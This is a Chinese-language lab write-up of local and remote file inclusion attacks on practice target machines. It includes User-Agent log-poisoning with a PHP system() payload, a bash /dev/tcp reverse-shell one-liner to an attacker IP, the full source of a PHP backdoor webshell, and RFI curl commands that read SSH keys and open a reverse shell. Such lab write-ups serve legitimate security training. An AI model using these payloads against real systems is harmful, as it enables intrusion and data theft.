文件包含漏洞 LFI & RFI
文件包含漏洞 LFI
文件包含漏洞好容易跟目錄遍歷搞混,這裡有一個重點
目錄遍歷是只有讀的權限, 而文件包含漏洞允許在程序運行的代碼中 "包含" 文件
範例手法 : 注入 User-Agent 去包含目標主機本地的執行檔,透過執行輸出要的結果
靶機開始
首先先 rustscan
└─$ rustscan -a 192.168.241.16 --ulimit 5000 -t 8000 --scripts -- -n -Pn -sVC
三個服務分別是
22 - OpenSSH 8.2p1
80 - Apache httpd 2.4.38
2222 - OpenSSH 7.9p1
這一版 Apache 2.4.38 設計成有 Path Traversal(目錄遍歷) 漏洞
路徑為 http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
透過 curl 測試如下可以看到 Log 內容結果
Burp Suite 也可以看到 Response 顯示 Log 內容
主要內容就是 Apache 紀錄 Client 的存取紀錄如下
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
192.168.63.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/ HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
192.168.63.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/css/bootstrap-theme.min.css HTTP/1.1" 200 2688 "http://192.168.63.131/meteor/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
192.168.63.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/css/fontAwesome.css HTTP/1.1" 200 7826 "http://192.168.63.131/meteor/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
先點一下 admin 連結,並送到 Burp Suite Repeater
開始老手法,修改 User-Agent,因為已經知道有 LFI 所以注入改成直接接對方機器的 cmd
執行語法 : <?php echo system($_GET['cmd']); ?>
送出後確認 200 OK 表示已經寫入 Log 檔案
再次存取 Apache Log 檔
路徑 : http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
可以透過 Burp Suite 修改 URI 並加上我們剛注入的 cmd ,帶上 cmd 語法如下
/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=ps
標準在 Linux Terminal 下輸入 ps 如下圖,就是顯示 PID TTY TIME CMD 等值
我們在右邊可以看到成功輸出並顯示 ps 的結果,所以表示 LFI 命令注入是成功的
再來我們試著列舉檔案,將 cmd=ls -la
這次得到了 HTTP 400,看來該命令執行沒有成功
由於剛剛 ps 是成功的,但 ls -la 不成功,原因研判應該是是空格
所以我們將空格做 URL Encoding 換成 "%20" 再試一次試試看
這一次 HTTP 200 成功了
也成功看到 ls -la 的結果,如下圖右邊
滲透測試當找到漏洞就是要做到 interactive 互動式命令
所以先在攻擊主機建立一個接收的 remote shell
指令 : nc -nvlp 6666
要靶機執行連線 remote shell 的指令如下
指令 : bash -c "bash -i >& /dev/tcp/192.168.45.153/6666 0>&1"
URL Encoding 後指令如下
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.153%2F6666%200%3E%261%22
那就貼到 Burp Suite 然後送出吧
若運行的對方系統是 xampp,則 log 檔案放在 C:\xampp\apache\logs\ 路徑下
一般是 C:\xampp\apache\logs\apache2\access.log
錯誤檔是 C:\xampp\apache\logs\error.log
我們這個靶機的目標是某個使用者 ariella 家目錄底下的 flag.txt
直接 cat 沒有權限,加上 sudo 後看來是 apache 的權限夠大,直接帶入就能讀取,靶機結束
靶機 2 : 目標很簡單就是 flag 存在 /opt/admin.bak.php 文件中
直接用目錄遍歷攻擊讀取該檔案,flag 就在 response 的 BODY 中
靶機 3 : 此為一台 Windows 的 XAMPP,目標在 C:\xampp\apache\logs\ 底下
一樣先測試 access.log 看看路徑在哪
透過 Burp Suite Repeater 順利找到 access.log 路徑與顯示如 response body
一樣開始注入,修改 User-Agent 注入 cmd=systeminfo 有看到結果表示成功
注入 cmd=whoami 看到是 system......送分題
dir 看到這個檔案.....取名取的真好 hopefullynobodyfindsthisfilebecauseitssupersecret.txt
因為是同一個路徑,連 remote shell 都不用,直接 type 一下答案就出來了
Remote File Inclusion (RFI)
接著來看到 RFI,R 顧名思義就是遠端,最常見的就是直接透過 HTTP 尤其是 Github 使用
近端就是透過 SMB 協定來達到
最簡單利用的就是 Kali 內建的 remote shell or back-door
靶機的開發語言是 php,那就直接利用 kali 內建的來使用
路徑在 /usr/share/webshells/php/目錄底下如下圖,可以看到好幾個
本次要利用的是 simple-backdoor.php
開啟檔案看一下內容,可以看到就是去 Call cmd
=======================================================================
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
=======================================================================
開始利用前本次用的是 HTTP RFI ,所以先在我們的攻擊機 kali 上建立 HTTP File Server
由於我們要提供的檔案路徑位於 /usr/share/webshells/php/ 所以我們直接建立一個
Web Server 然後將根目錄指到該目錄,簡單快速的建立方式就是使用 python http server
到該路徑底下執行指令 python3 -m http.server 80
執行完畢後我們 http://127.0.0.1 查看一下,就能看到等等要利用的檔案
由於靶機環境都是一樣的,這次要利用的是 RFI
所以我們直接針對漏洞可利用的 URI 進行 RFI 測試,語法如下
指令 : curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.153/simple-backdoor.php&cmd=ls"
如下圖 ls 正確列出目標靶機上的檔案
若是要使用 cat 命令查看 /home/elaine/.ssh/ 目錄中的 authorized_keys 文件內容
那就可以修改語法如下
└─$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.153/simple-backdoor.php&cmd=cat%20/home/elaine/.ssh/authorized_keys"
另外我們去 Github 下載了一個 PHP Reverse Shell 放在 Dwonload 路徑下
這時候切換到該路徑再起 HTTP File Server
一樣開啟瀏覽器驗證一下,確認檔案如下
因為利用歸利用但無論考試或是實戰中,建立 reverse shell 才是真正重要的
所以我們先在攻擊機器起 4444 Port Listen
開啟檔案看一下,要修改目標是我們 Listen 的 IP & Port
然後就是直接開始 RFI
└─$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.153/php-reverse-shell.php"
下面一執行上面 Remote Shell 就進來了
相同作法,確認 tty 然後開啟 tty
本次的目的是察看這個檔案 /home/guybrush/.treasure/flag.txt
那就直接 cat 就得到我們的答案啦
留言
張貼留言